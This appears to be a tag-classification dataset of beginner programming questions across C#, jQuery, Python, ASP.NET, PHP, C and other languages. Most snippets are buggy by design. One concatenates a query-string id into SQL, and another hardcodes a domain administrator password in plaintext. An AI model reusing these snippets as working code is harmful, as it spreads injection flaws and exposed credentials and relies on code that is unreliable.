adding all class object array values to a text file  i want to add all properties values assigned during instantiation of course class into text file.   <pre><code> coursemanager coursemng = new coursemanager();           course prog1 = new course();         console.writeline(prog1.getinfo());         console.writeline();           prog1.coursecode =  comp100 ;         prog1.name =  programming 1 ;         prog1.description =  programming1 description ;         prog1.noofevaluations = 3;         console.writeline(prog1.getinfo());           course prog2 = new course( comp123    programming2 ) { description =  prog 2 desc   noofevaluations = 2 };         console.writeline(prog2.getinfo());            coursemng.addcourse(prog1);         coursemng.addcourse(prog2); </code></pre>   this was my main and this is my coursemanager class    <pre><code>course[] courses;     int numberofcourses;       public int numberofcourses     {         get { return numberofcourses; }         set { numberofcourses = value; }      }      public course[] courses     {         get         {             return courses;         }          set         {             courses = value;         }     }      public coursemanager()     {         courses = new course[100];      }        public void addcourse(course acourse)     {          courses[numberofcourses] = acourse;         numberofcourses++;         acourse.manager = this;      }      public void exportcourses(string filename  char delim)     {           filestream stream = null;         streamwriter writer;         try         {             stream = new filestream(filename  filemode.create  fileaccess.write);             writer = new streamwriter(stream);             course acourse = new course();                 for(int i =0; i&lt;numberofcourses;i++)             {                 //writer.writeline(courses.tostring());                 writer.writeline( {0}{1}{2}{1}{3}{1}{4}   acourse.coursecode  delim  acourse.name  acourse.description  acourse.noofevaluations);             }               writer.close();         }          finally         {             stream.close();         }       } </code></pre>   so the problem is when i try to writeline it just prints empty values. i want coursecode name descrpition and numberofevaluations to be written in .txt file. if u need any other code please let me know    thanks in advance,c#
custom jquery slider  i am trying to create a slider in jquery and stuck in the end.    i have created a <code>&lt;ul&gt;</code> and then 4 <code>&lt;li&gt;</code> in that <code>&lt;ul&gt;</code> representing each <code>&lt;li&gt;</code> a slide. when i click on next button slide 1 is animated to slide 2. when ever i click on next button current slide is animated to next one. but how do i animate last slide to load 1st slide.    i m changing left property s value to animate among slides. code is given below. please guide me. thanks!   <pre><code>        current = 0;          current_slide=1;          $(document).ready(function(){             var totalslides=$( .slider ul li ).length;             $( .slider ul ).removeattr( width );             $( .slider ul ).attr( width  951*totalslides);              $( #next img ).click(function(){                 current_slide++;                 current -= 951;                 if(current_slide&gt;totalslides)                     {                         current=0;                         current_slide=1;                         $( .slider ul ).css( left  0);                           }                 $( .slider ul ).animate({ left :current+ px }   slow );             });         /* previous button is not fully functional yet*/             $( #prev img ).click(function(){                 current_slide--;                 current += 951;                 if(current_slide==1)                     {current=0;current_slide=totalslides;}                 $( .slider ul ).animate({ left :current+ px }   slow );             });         }); </code></pre>,jquery
generating families of lambda functions  i would like to generate a family of lambda functions similar to this simplified example:   <pre><code>fns = [(lambda x: x == y) for y in range(10)] </code></pre>   the result i get from this is indeed a list of 10 functions.  however  all 10 seem to have y bound to 9  which is the last value of the sequence.  for example   <pre><code>[fns[i](9) for i in range(10)] --&gt; [true  true  true  true  true  true  true  true  true  true] fns[0](0) --&gt; false </code></pre>   why doesn t this work  and what s a clean work-around     i ve tried this in python 2.7 and 3.3.,python
dropdownlist default value pre-selected during update  i have 2 tables : artikulli   <pre><code>tema    varchar(250)     abstrakti   text data_publikimit date     path    varchar(350)     keywords    varchar(350)     kategoria_id    int </code></pre>   kategoria   <pre><code>id  int emertimi    varchar(350)     </code></pre>   i have a dropdownlist wich displays all  emertimi  and when the user select one it saves the id for that emertimi in table  artikulli  in column  kategoria_id . my problem is with update. when i perform an update dropdown doesn t displays as default pre-selected the value that exists in database but instead the first value in the list.   <pre><code>dropdownlist drpdkategoria = e.item.findcontrol( drpdkategoria ) as dropdownlist;             sqlconnection con = new sqlconnection(connection);             string qry =  select * from kategoria ;             string id = request.querystring[ id ];                                              sqldataadapter da = new sqldataadapter(qry  con);             sqldataadapter did = new sqldataadapter(id  con);                            dataset ds = new dataset();             con.open();             da.fill(ds);             did.fill(ds);             string kategoria_id =  select kategoria_id from artikulli where id=   + id +    ;             sqldataadapter dk = new sqldataadapter(kategoria_id  con);             dk.fill(ds);             string emertimi =  select emertimi from kategoria where id=   + kategoria_id +    ;             sqldataadapter de = new sqldataadapter(emertimi  con);             de.fill(ds);             drpdkategoria.datasource = ds;             drpdkategoria.datavaluefield =  id ;             drpdkategoria.datatextfield =  emertimi ;                           drpdkategoria.databind();                            var defaultvalue = drpdkategoria.items.findbytext(emertimi);             if (defaultvalue != null)                 drpdkategoria.selectedvalue = defaultvalue.value;             con.close();             con.dispose();             ds.dispose();             da.dispose();             did.dispose();             dk.dispose();             de.dispose(); </code></pre>   what am i doing wrong,asp.net
how to push a key/ value into json objects  i am trying to push a id into a json array of objects. every object must have   jobid  : value  inserted before it is sent to the apicontroller. i am trying to use a foreach loop for this but i am stuck. right now instead of inserting this in the each object in the array it is inserting at the end of the array. i have a plunkr setup.  <a href= http://plnkr.co/edit/tvxflzhj9zkgnzis7hn4 p=preview  rel= noreferrer >plunkr</a>   <pre><code>$scope.array = [{   esourcelineid: 5464     qbrfqlinesupplierpartnumber: hw12     qbrfqlinesupplierquoteuom: ft  }  {   esourcelineid: 8569     qbrfqlinesupplierpartnumber: lt34     qbrfqlinesupplierquoteuom: meter  }];  var jobid = 143; $scope.array.foreach(function (newjobitem) {     $scope.array.push({ jobid  : jobid}); });  var index = 0; $scope.array.foreach(function (newjobitem) {     console.log( newjobitem #  + (index++) +  :   + json.stringify(newjobitem)); }); </code></pre>,angularjs
if else not working  not entering the first condition  can you please help me weather there is any thing wrong in the script it is not entering in if even if   the if condition  is true      i have added the complete code please check    <pre><code>if (!empty($_post)) { $client_name = $_post[ client_name ]; $other_client = $_post[ other_client ]; $district = $_post[ district ]; $taluka = $_post[ taluka ]; $village = $_post[ village ]; $mobile_no = $_post[ mobile_no ]; $case_no = $_post[ case_no ]; $sr_no = $_post[ sr_no ];    $sql3= select total_amt from date where paydate  =  . $payment_date.    ; $q = $pdo-&gt;prepare($sql3); $q-&gt;execute(array($client_id)); $data = $q-&gt;fetch(pdo::fetch_assoc);                                              $dataamt = $data[ total_amt ];                                           $datadate = $data[ paydate ];                                             $newamt = $dataamt + $fees ;   if ( $datadate == $payment_date ) {      $pdo-&gt;setattribute(pdo::attr_errmode  pdo::errmode_exception);     $sql12 =  update date set total_amt =   where paydate =   ;     $q12 = $pdo-&gt;prepare($sql12);     $q12-&gt;execute(array($newamt $payment_date));   } else {      $pdo-&gt;setattribute(pdo::attr_errmode  pdo::errmode_exception);     $sql13 =  insert into date(paydate total_amt) values(   ) ;     $q13 = $pdo-&gt;prepare($sql13);     $q13-&gt;execute(array($payment_date $fees));   }                               </code></pre>,php
do i need to specify attributes on deriving classes   i have this interface. if i derive  do i need to specify <code>format attribute</code> again  and  if a class <code>deriv</code> implements this interface  can i use <code>deriv::lt_debug</code>    <pre><code>class logger {     public:         enum logtype         {                lt_debug = 0              lt_warning              lt_error              lt_stat              lt_text         };            __attribute__((format(printf  6  7)))         virtual const char* ehlog(logtype                  bool                  const char*                  int                  const char*                   ...) = 0;          virtual ~logger(){} }; </code></pre>,c++
sql select where multiple column no same value on one row <pre><code>     a b row1 0 0 row2 1 0 row3 1 1 </code></pre>   how to select data where a&amp;b ≠ 0 on a row  i want the result is row2 and row3,sql
i m having trouble with some fairly basic math functions in xcode  basically  the program has 5 textfields for numbers. i want a math function that totals all 5 textboxes  then multiplies by 1.39  then again by 1.12  but i can t get the textfields to add properly. it works so far if you only put a number in one of the textfields  but it gets a little confused when it comes to adding more than one textfield. here s my code:   <pre><code>- (ibaction)calculate {     float b = ([bcb.text floatvalue]);     float d = b+([mcd.text floatvalue]);     float f = b+d+([sf.text floatvalue]);     float w = b+d+f+([sw.text floatvalue]);     float a = b+d+f+w+([ap.text floatvalue]);     float p = 1.39f;     float h = 1.12f;     float t = a*p*h;          total.text = [ [nsstring alloc] initwithformat:@ %.2f   t]; } </code></pre>   bear in mind i m 100% beginner when it comes to xcode  and i ve kind of frankensteined this code together from various tutorials  and this might be completely wrong.,objective-c
android: load image  trying to load and display image from server.   <pre><code>public static bitmap loadimagebyurl(final string url          final context context  final httpclient httpclient) {             httpget httpget = new httpget(url);             httpresponse response = httpclient.execute(httpget);             httpentity entity = response.getentity();             if (entity != null) {                 data = entity.getcontent();             }         }         bitmap = bitmapfactory.decodestream(data);     } catch (exception e) {         // todo: handle exception     }     return bitmap; } </code></pre>   but bitmap is always null !!! what i do wrong   url is fine  its works in browser and on ios.    edit 1:    when i open url in browser  its shows me something like that:   <pre><code>/9j/4aaqskzjrgabaqaaaqabaad/2wceaayebqyfbaygbqyhbwyichakcgkjchqo dwwqfxqygbcufhyahsufghsjhbywicwgiyynksopgr8tmc0omcuoksgbbwchcggk ewokeygafhookcgokcgokcgokcgokcgokcgokcgokcgokcgokcgokcgokcgokcgo kcgokcgokcgokp/aabeiazablambeqaceqedeqh/xagiaaabbqebaqebaqaaaaaa aaaaaqidbaugbwgjcgsqaaibawmcbamfbqqeaaabfqecawaeequsitfbbhnryqci crqygzghccncscevuthwjdnicoijchyxgbkajsynkckqndu2nzg5okneruzhselk u1rvvldywvpjzgvmz2hpann0dxz3ehl6g4sfhoeiiyqsk5svlpeymzqio6slpqeo qaqys7s1tre4ubrcw8tfxsfiycrs09tv1tfy2drh4upk5ebn6onq8flz9px29/j5 +geaawebaqebaqebaqaaaaaaaaecawqfbgcicqoleqacaqiebamebwuebaabanca aqideqqfitegekfrb2fxeyiygqguqpghscejizns8bvictekfiq04sxxfxgzgiyn  </code></pre>   what is that   ),android
moving a navigation bar title  i was wondering if it s possible to move my navigationcontroller title closer to the top of the bar  right now it looks like this. <img src= https://i.stack.imgur.com/ttxzy.png  alt= enter image description here >     i was thinking it would be    <pre><code>self.navigationitem.titleview = [[titleview alloc] initwithframe:cgrectmake(100 2  2 100)]]; </code></pre>   but i guess titleview has to be another view      thanks for the help!,iphone
ios - how to determine if app was built as debug or release  yes  i know that this question has already been asked and answered three times here at stack overflow.     <a href= https://stackoverflow.com/questions/9063100/xcode-ios-how-to-determine-whether-code-is-running-in-debug-release-build >xcode / ios: how to determine whether code is running in debug / release build </a>    <a href= https://stackoverflow.com/questions/19451944/checking-if-the-app-is-build-as-release >checking if the app is build as release</a>    <a href= https://stackoverflow.com/questions/19420832/how-can-know-debug-or-release-in-ios-app >how can know debug or release in ios app </a>    but i have two problems with all of these answers.     all of the answers  except the last answer to the third question  are based on testing preprocessor definitions at build time. i would prefer some technique that makes the determination at runtime  just to be completely sure there is no divergence between the preprocessor definitions and how the actual build ended up getting done. (ok  that s probably not possible.)    but another point is that i would prefer to have the code that makes the determination in a library module  but that the test is based on how the main app module was built. so if (by accident ) the library module is a debug build but the main app module is a release build  then i d like the test to say the app is a release build.    maybe this doesn t make much sense (i m totally new to ios)  but for my android app this is possible - see the first answer here: <a href= https://stackoverflow.com/questions/7085644/how-to-check-if-apk-is-signed-or-debug-build >how to check if apk is signed or &quot;debug build&quot; </a>      so i m wondering if some similar technique exists for ios apps. preferably something that can be done from swift.,ios
in html  which element cannot include some other specific elements   for example  in html 4.01     1) inline elements in general cannot include other block elements (example: a <code>&lt;span&gt;</code> or <code>&lt;a&gt;</code> should not include any <code>&lt;div&gt;</code>.)  but this rule is more forgiving  as most browsers won t alter the html structure like in rule 2 below.  (and many browsers nowadays will handle the desired result of a <code>&lt;div&gt;</code> being inside of an <code>&lt;a&gt;</code> tag.)    2) <code>&lt;p&gt;</code> elements cannot include any <code>&lt;p&gt;</code> element.  if any <code>&lt;p&gt;</code> appears before the closing of a previous <code>&lt;p&gt;</code> element  then the previous one will be immediately closed.  this rule seems more strict as it alters the structure of the html document.    are the rules above accurate  and are there other rules stating an element cannot include other elements  (as offsprings).,html
checking if a method is an overridden method of interface using reflection  i am trying to auto generate some ejb service code  which are wrappers around java dao classes. dao classes implement dao interfaces  but also have their own public methods. this dao layer is implemented by another team  so i cannot play around with it.     i am using codemodel api to generate the code. i get each dao class and want now to create the ejb service code. using java reflection i am trying to check if the method declared in the dao class is an overridden implementing method of the interface or not. is there anyway in which i can check that,java
run process with admin credentials  i have been working on this for a while now and its driving me crazy  after a lot of searching and reading still no solution. i m trying to start a process with  elevated  (domain admin) rights.    this is my code:   <pre><code>public class startprocess {     private processstartinfo info;      private securestring convertpassword(string _password)     {         securestring password = new securestring();          for (int i = 0; i &lt; _password.length; i++)         {             password.appendchar(_password[i]);         }          return password;     }      public void start(string path  string filename)     {         info = new processstartinfo(filename);          info.domain =  setours ;         info.username =  administrator ;         info.password = convertpassword( servertotal_2013 );          info.useshellexecute = false;         info.workingdirectory = path;          try         {             process.start(info);         }         catch (system.componentmodel.win32exception ex)         {             messagebox.show(ex.message + ex.stacktrace);         }         catch (exception ex)         {             messagebox.show(ex.message + ex.stacktrace);         }         finally         {             //just for debuggin purpuses             messagebox.show(path + filename);         }     } } </code></pre>   i m calling the function based on a button click event in my main class:   <pre><code>private startprocess startprocess = new startprocess();  private void button_click(object sender  routedeventargs e)     {         button button = (button)sender;          switch (button.content.tostring())         {             case  contable :                 startprocess.start( c:\\program files (x86)\\starsoft ge    \\contabilidad.exe );                 break;             case  planilla :                  break;             case  caja y banco :                  break;             case  cuentas por pagar :                  break;             default:                 messagebox.show( unknown process );                 break;         }     } </code></pre>   i have also tried this with user impersonation but that also doesn t seem to work. i have been strugling with 2 errors:   <ol> <li>cannot find the path specified</li> <li>access denied</li> </ol>   other posts are stating that if you use the <code>user</code> and <code>password</code> parameters of the <code>processinfo</code> you need to set the <code>useshellexecute</code> to <code>false</code>. and if you have set it to <code>false</code>  the <code>workingdirectory</code> is not being used anymore.    does anyone have any sugestions,c#
background services closed in aggressive doze mode and normal doze mode in 7.0  i have a background service that is somehow killed everyone device goes in doze mode. i have tried to make it sticky  set up a alarm to start the service if it removed from tasks or killed and even used the setandallowwhileidle() to fire the intent to start the service all in vain. can anyone help,android
angularjs nondescript error at  return logfn.apply(console  args);   i m using angularjs v<code>1.5.0</code>.  i m on chrome version <code>55.0.2883.95</code>.  the error i m seeing shows similar failure behavior to <a href= https://stackoverflow.com/questions/23609162/typeerror-undefined-is-not-a-function-in-angular-resource >this</a> so post  although the error description for my situation just states <code>object</code>.    i ve <a href= http://plnkr.co/edit/xfkewa7lqzsslcaky9qp p=preview  rel= nofollow noreferrer >created a plunker</a> to demonstrate the error.  open the developer console at the plunker to see the resulting error.    given the following service    <pre><code>this.test = function() {     return $q(function(resolve  reject) {         var errorobject = {             httpstatuscode: 503              error: {                 code: 5030                  message:  oh no! something went wrong  please try again              }         };         reject(errorobject);      }).then(function successcallback(response) {         return response;     }).catch(function errorcallback(response) {         throw response;     }); }; </code></pre>   angularjs code generates the following error:    <code>angular.js:13550 object {httpstatuscode: 503  error: object}</code>    the angularjs code in play is:   <pre><code>function consolelog(type) {   var console = $window.console || {}        logfn = console[type] || console.log || noop        hasapply = false;    // note: reading logfn.apply throws an error in ie11 in ie8 document mode.   // the reason behind this is that console.log has type  object  in ie8...   try {     hasapply = !!logfn.apply;   } catch (e) {}    if (hasapply) {     return function() {       var args = [];       foreach(arguments  function(arg) {         args.push(formaterror(arg));       });       return logfn.apply(console  args); // error thrown on this line     };   }    // we are ie which either doesn t have window.console =&gt; this is noop and we do nothing    // or we are ie where console.log doesn t have apply so we log at least first 2 args   return function(arg1  arg2) {     logfn(arg1  arg2 == null      : arg2);   }; </code></pre>   <a href= https://i.stack.imgur.com/ks5ob.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ks5ob.png  alt= error image ></a>    here s how i call the service:   <pre><code>var test = function() {     userservice.test()         .then(function successcallback(responseobject) {             console.log( beginning of then );         })         .catch(function errorcallback(errorresponseobject) {             console.log( beginning of catch );         }); } </code></pre>   the error seems to be caused by the fact that i am handling the promise rejection  and then re-throwing it.  if i don t catch and rethrow  i don t get the error.  why do i receive the error when catching and re-throwing    <hr>   <strong>update</strong>: it appears that using the $q service to reject the caught promise rejection avoids the angularjs error i was seeing.  i ll use that approach for now  but would still be interested to know why throwing out of the promise catch generates the error.    example code without the error:   <pre><code>this.test = function() {     return $q(function(resolve  reject) {         var errorobject = {             httpstatuscode: 503              error: {                 code: 5030                  message:  oh no! something went wrong  please try again              }         };         reject(errorobject);      }).then(function successcallback(response) {         return response;     }).catch(function errorcallback(response) {         return $q.reject(response);     }); }; </code></pre>,angularjs
how do i center an image if it s wider than its container   normally  you center images with <code>display: block; margin: auto</code>  but if the image is larger than the container  it overflows to the right. how do i make it overflow to the both sides equally  the width of the container is fixed and known. the width of the image is unknown.,css
is there currently any way for two ethernet endpoints to discover how many switches or routes are between them   suppose you have 2 network switches cascaded or linked together and three hosts. suppose two hosts were on the same switch (host a &amp; b)  and the third (host c) was on the other switch.    is it possible to programatically detect that host a and b are on the same switch and host c is one hop away from a &amp; b   i know it can be done with routers  but what about switches     if i can be done  is there any code available in c for me to detect that,c
define a struct with arbitrary number of ints in .net  is it possible in .net to define a struct with a variable number of ints     i have collections of objects that have different number of ints.  now  each collection would have a consistant number of ints.  so  i d have one collection with structs of 1 int  another collection with structs of 3 ints  another with 7 ints  etc.  i rather not define individual structs for each type or have to create an array to hold the collection so i m wonder if there is some way to define the dynamic struct.    the reason for not wanting to use an array is the collection is contained with a parent struct   <pre><code>public struct parentstruct&lt;t&gt; {     public double timestamp;     public t value; } </code></pre>   i d perfer not to have the reference and not to have to peform the array allocation for each struct.  i d rather the ints just be defined  inline  (or at least all allocated when the parentstruct is created).  not sure if it s possible or worth the effort  but thought i d ask.,.net
convert mysql bool to python true/false  i have the following code:   <pre><code>new_file.write((        &lt;cleared_for_hd_vod&gt;%(enable_est_hd)s&lt;/cleared_for_hd_vod&gt;     &lt;cleared_for_hd_sale&gt;%(enable_vod_hd)s&lt;/cleared_for_hd_sale&gt;            % update_data).lower()) </code></pre>   this gives me the following:   <pre><code>&lt;cleared_for_hd_vod&gt;1&lt;/cleared_for_hd_vod&gt; &lt;cleared_for_hd_sale&gt;0&lt;/cleared_for_hd_sale&gt; </code></pre>   however  what i need is the following:   <pre><code>&lt;cleared_for_hd_vod&gt;true&lt;/cleared_for_hd_vod&gt; &lt;cleared_for_hd_sale&gt;false&lt;/cleared_for_hd_sale&gt; </code></pre>   is there a way to accomplish this by changing the string formatting i am currently using (at the top of this question),python
enable/disable the save button correctly  let s say we have a win32 form with a save toolbar button and some sontrols like a checkbox are on the form  now we write a one line code for onchange event of checkbox to enable/disable the save button. let s say checkbox is selected at first  save button disabled  now de-select the checkbox  save button becomes enabled...now select the checkbox again save button is still enabled...same for a textbox for example. let s say its text is  hi ...change it to  hi bye    save is enabled...change it back to  hi  as it was  save remains enabled...  is there a model we can use to prevent these wrong enabling/disabling of save button,c#
a quoi correspond %20   a quoi correspond %20   je me pose vraiment cette question.    and in english:    what is %20,html
how do i check if a specific key was released on keyboard   i want to check whether the escape key has been pressed/released in javascript.    they way i ve seen is this :   <pre><code>document.addeventlistener( keyup   function(event) {    //returns a number for key     console.log(event.keycode);    }); </code></pre>   however when i went onto mozilla it says the  .keycode  is being deprecated use  .key  instead. which i did but when i changed the code to this:   <pre><code>document.addeventlistener( keyup   function(event) {    //returns a number for key     console.log(event.key);    }); </code></pre>   it wouldn t work it said in the console  undefined . any ideas why      also is mozilla the best place to go  because as a beginner i m finding it difficult to understand. thanks,javascript
how does padding work in structure   the output of this program is 28. i don t understand how  according to me this should be 32(4+4+4+4+12)+4(to maintain the alignment)=32. please explain the reason for displaying the output 28     <pre><code>struct test{     char c;     int d;     int x;     int y;     long double p;     }t1;  printf( %d  sizeof(t1)); </code></pre>,c
app crashes when upload data and send http request  i m pretty dummy in obj-c. i call <code>callserver</code> and at the same time i upload some data like image  files ...   <pre><code> -(void) callserver {  dispatch_async(dispatchqueue  ^{         [serverhandler sendrequest];     });     }     </code></pre>   here is a <code>sendrequest</code> method  basic http call that uses <code>nsurlsession</code>:   <pre><code>+ (void) sendrequest {      nsstring *url = @ zzz ;              nsmutableurlrequest *request = [nsmutableurlrequest requestwithurl:[nsurl urlwithstring:escapedurl]];     [request sethttpmethod:@ post ];     [request setvalue:@ application/json  forhttpheaderfield:@ accept ];     [request setvalue:@ application/json  forhttpheaderfield:@ content-type ];     [request sethttpbody:postdata];       nsurlsession *session = [nsurlsession sharedsession];      nsurlsessiondatatask *postdatatask = [session datataskwithrequest:request completionhandler:^(nsdata *data  nsurlresponse *response  nserror *error) {          if (error) {             //...             }         } else {              // ...         }     }];     [postdatatask resume]; } </code></pre>   sometimes i get crash:   <pre><code>#2 crashed: nsoperationqueue 0x17403e500 :: nsoperation 0x184446990 (qos: default)    0  libobjc.a.dylib    0x184ee315c objc_msgsend + 25    1  yoyo               0x100766218 __82-[myprog callserver]_block_invoke.804 + 383424    2  yoyo               0x1007679cc __94+[serverhandler sendrequest]_block_invoke + 389492    3  cfnetwork          0x186a781fc __75-[__nsurlsessionlocal taskforclass:request:uploadfile:bodydata:completion:]_block_invoke + 32    4  cfnetwork          0x186a8fef8 __49-[__nscflocalsessiontask _task_onqueue_didfinish]_block_invoke + 148 </code></pre>   <strong>i cannot change upload process code but i can change above mentioned code.</strong>    so question is how to make my code safe a.e.    <pre><code>dispatch_async(dispatchqueue  ^{         [serverhandler sendrequest];     });     }  </code></pre>   why both upload data (from swift) and http request  stay on the same thread,objective-c
no loadcomplete for a masterpage   with <code>autoeventwireup</code> set to false  i would normally set a <code>page_finalize</code> like this:    <pre><code>include(self.loadcomplete  self.page_finalize); //delphi </code></pre>   <code>loadcomplete</code> however  doesn t seem to be available on a masterpage and my <code>page_finalize</code> obviously doesn t get called.    what am i meant to do to free objects in the master page     thanks.,asp.net
preform jquery function on browser shrink  hello i have this function that preforms jquery on specific widths  i like it and it works fine but the only drawback is that the browser has to be refreshed for the function to kick in. check my code below   <pre><code>function checkwidth() {     if (jquery(window).width() &lt; 1199) {         //do something     } else {      } }; checkwidth(); </code></pre>   so what this function says is that when the screen is below 1199 px  then preform the function but when you start out above 1199px then move the browser below 1199px  the page needs to be reloaded.     the point of this is to target tablet. i know that tablet cant go bigger than that so any time a user opens the page up on tablet this is not an issue  but i am a little picky and would like this to work when a user opens it up in a browser and then shrinks the browser.    is it possible to modify this function so it will work on browser shrink instead of having to refresh     thanks!,jquery
ios beginner: textfield doesn t show result of my calculation  i m new to programming in general and currently trying to get a foot  into objective-c. like to write my first app for the iphone  should  be a simple golf app (for now). you enter your holes played and  strokes needed on the green and the app tells you what your average is.    when it comes to displaying the result in an uitextfield i get lost.    i thought the ollowing code would work but the result is not showing:   <pre><code>- (ibaction)calcnow(id)sender  {  int holes = [[holesfield text] intvalue];   int strokes = [[strokesfield text] intvalue];   double result = strokes / holes;   [averagefield settext:result];  }  </code></pre>   note:    the book i am reading tells me that a number  entered in an uitextfield must be converted before i m able to work with the value as a number.    i think this will do it:   <pre><code>[[holesfield text] intvalue];  </code></pre>   is this correct     thanks for your help!,objective-c
how to set a progress dialog when a browser is being launched  i have come up with a private browser but i want to know how to link it to my code below when the browser is being opened.     main class   <pre><code>b5.setonclicklistener(new onclicklistener(){        public void onclick(view v){         intent i =new intent(filtersactivity.this mybrowser.class);          i.setdata(uri.parse( http://www.google.com ));         startactivity(i);     } }); </code></pre>   second class    <pre><code>public class mybrowser extends activity {      public void oncreate(bundle savedintstancestate) {         super.oncreate(savedintstancestate);         setcontentview(r.layout.browser);          uri uri = getintent().getdata(); // get intent and the linked data         webview webview = (webview) findviewbyid(r.id.webview_01); // get the                                                                 // webview                                                                 // item         webview.setwebviewclient(new callback()); // set the object to the view                                                 // to webview         webview.loadurl(uri.tostring()); // load the url      }      private class callback extends webviewclient { // crate a virtual class         @override         public boolean shouldoverrideurlloading(webview view  string url) { // /load                                                                         // the                                                                         // necessary             return (false);         }     } } </code></pre>,android
why am i getting  unboundlocalerror  in my code   i have revised the quotations to fix the syntax error. now the error that i am receiving is this one:   <pre><code>traceback (most recent call last):   file  c:\users\alex\desktop\programming concepts\labs\chapter 11\lab 8.py   line 78  in &lt;module&gt;     main()   file  c:\users\alex\desktop\programming concepts\labs\chapter 11\lab 8.py   line 18  in main     totalpints = gettotal(pints)   file  c:\users\alex\desktop\programming concepts\labs\chapter 11\lab 8.py   line 42  in gettotal     totalpints += pints[counter]   unboundlocalerror: local variable  totalpints  referenced before assignment </code></pre>   here is my code so far:   <pre><code># lab 8-3 blood drive  # the main function def main():     endprogram =  no      print     while endprogram ==  no :         print         # declare variables         pints = [0] * 7          # function calls         pints = getpints(pints)         totalpints = gettotal(pints)         averagepints = getaverage(totalpints)         highpints = gethigh(pints)         lowpints = getlow(pints)         displayinfo(averagepints  highpints  lowpints)          endprogram = input( do you want to end program  (enter no or yes):  )         while not (endprogram ==  yes  or endprogram ==  no ):             print( please enter a yes or no )             endprogram = input( do you want to end program  (enter no or yes):  )  # the getpints function def getpints(pints):     counter = 0     while counter &lt; 7:         numentered = input( enter pints collected:  )         pints[counter] = int(numentered)         counter += 1     return pints  # the gettotal function def gettotal(pints):     counter = 0     while counter &lt; 7:         totalpints += pints[counter]         counter += 1     return totalpints  # the getaverage function def getaverage(totalpints):     averagepints = float(totalpints) / 7     return averagepints  # the gethigh function def gethigh(pints):     highpints = pints[0]     counter = 1     while counter &lt; 7:         if pints[counter] &gt; highpints:             highpints = pints[counter]         counter += 1     return highpints  # the getlow function def getlow():     lowpints = pints[0]     counter = 1     while counter &lt; 7:         if pints[counter] &lt; lowpints:\            lowpints = pints[counter]         counter += 1     return lowpints  # the displayinfo function def displayinfo(averagepints  highpints  lowpints):     print( the average number of pints donated is   averagepints)     print( the highest pints donated is    highpints)     print( the lowest number of pints donated is    lowpints)  # calls main main() </code></pre>   if anyone can copy and paste this code into their python and help troubleshoot it i would be greatful!,python
is angular-ui s ui-router anywhere near production ready yet   our team is starting to use ui-router and it seems very good so far. we are taking advantage of being able to fit templates into views within views. prior to this our team was at a loss as we could not see how to get working some parts of our application that involved views inside views. we are currently using the following version:   <pre><code> * state-based routing for angularjs  * @version v0.0.1 - 2013-04-15 </code></pre>   there does not seem to be much commit activity lately  i don t see a roll out plan.    is it wise or crazy to start using this code in a small application that will be in production in 3-4 months.  does anyone have any ideas where this project is heading.  are we crazy for using it now or should we use an alternative. if so then what is the alternative,angularjs
search and convert a substring into a link. rails  we have this string:  according to posts #4 #5 and #6 the word...     i want to convert the  #4    #5  and the  #6  to links  using the link_to helper (the numbers are ids of a model)    how can i do this  is this difficult  thank you in advance.,ruby-on-rails
pass value from javascript function in client side to server side in asp.net  the web form has grid view which contains delete link. on clicking the link  confirmation message should be displayed. i am using function which displays the confirmation dialog box. on clicking ok button  the respective record should be deleted. how can i pass some value on clicking ok button in the dialog box to perform delete operation    <pre><code>void confirmmsg(string cmsg) {     type cstype = this.gettype();     // get a clientscriptmanager reference from the page class.     clientscriptmanager cs = page.clientscript;     string cstext =  confirm(   + cmsg +   ); ;     cs.registerstartupscript(cstype   popupscript   cstext  true); } </code></pre>,asp.net
always show 1 view outside of ng-view - angular  i have the following controllers  and i want the template of the <strong>categorycontroller</strong> to be shown on all pages (ie with all other views). the app displays all categories with this controller  when you click a category it shows all books in that category  then when you click a book it shows the books details. i want the categories to be always shown  can this be done ng-include    <pre><code>app.config(function ($routeprovider) {   $routeprovider     .when( /books   {         controller:  bookshelfcontroller           templateurl:  views/bookshelf.html    })     .when( /books/:bookid   {         controller:  bookcontroller           templateurl:  views/book.html    })    .when( /categories   {       controller:  categorycontroller         templateurl:  views/categories.html    })   .when( /categories/:categoryid   {     controller:  bookcategorycontroller       templateurl:  views/booksincategory.html  })     .otherwise({         redirectto:  /books    }); }); </code></pre>   <strong>html</strong>   <pre><code>  &lt;div class= main &gt;       &lt;div class= container &gt;           &lt;div ng-view&gt;&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt; </code></pre>,angularjs
how to return to position using jquery animate  i have the following code  and if i only use the first if statement it works as intended. the addition of the else if statement makes the element not behave properly in either functions.     the goal is to animate it to a certain position when the window is resized below a certain point. if the window is resized larger it is supposed to return to the starting position.    <pre><code>var logoposition = $( .akc-logo ).position(); console.log(logoposition);  $(window).resize(function display(){    console.log($(window).width());       if($(window).width()&lt;991){          $( .akc-logo ).animate({left:  20em }  1000);       }else if($(window).width()&gt;991){          $( .akc-logo ).animate({top: logoposition.top  left: logoposition.left}  1000);       } }); </code></pre>,jquery
can hasattr work on a module   i m adding dynamically attribute to a module  before using it i want to verify that the added attribute exist (in the module).    hasattr signature is:    <pre><code>hasattr(object  name) </code></pre>   module is not an object  so how can i verify the existence of the added attribute,python
converting characters in a character array into integers  my question: how do i get an integer variable to recognize the value of a character stored within a character array      my problem: i am unable to get the integer variable number to store the correct value that is represented by the element within the character array array1[].    some background: i have written a function called celcius_to_fahrenheit  which does a simple conversion. it takes a character array  containing 3 numbers stored as characters  and assigns each element within the array to an integer variable named number. the variable number  after potentially being multiplied against something  is then added to the float variable celsius. once celsius is obtained  a simple conversion is done to produce fahrenheit and fahrenheit is returned.    <pre><code>// converts celcius to fahrenheit for tmax and tmin`  float celsius_to_fahrenheit(char array1[])  {      float fahrenheit  celsius;     int i  number;     celsius = fahrenheit = number = 0;      for(i = 0; i &lt; strlen(array1); i++)     {         if (i == 0)         {             number = (int)array1[i];             celsius += (float)number * 10;         }         if (i == 1)         {             number = (int)array1[i];             celsius += number;         }         if (i == 2)         {             number = (int)array1[i];             celsius += (float)number * 0.10;         }     }     printf( %.1f\n   celsius);     fahrenheit = celsius * (9.0/5.0) + 32.0;      return fahrenheit; } </code></pre>,c
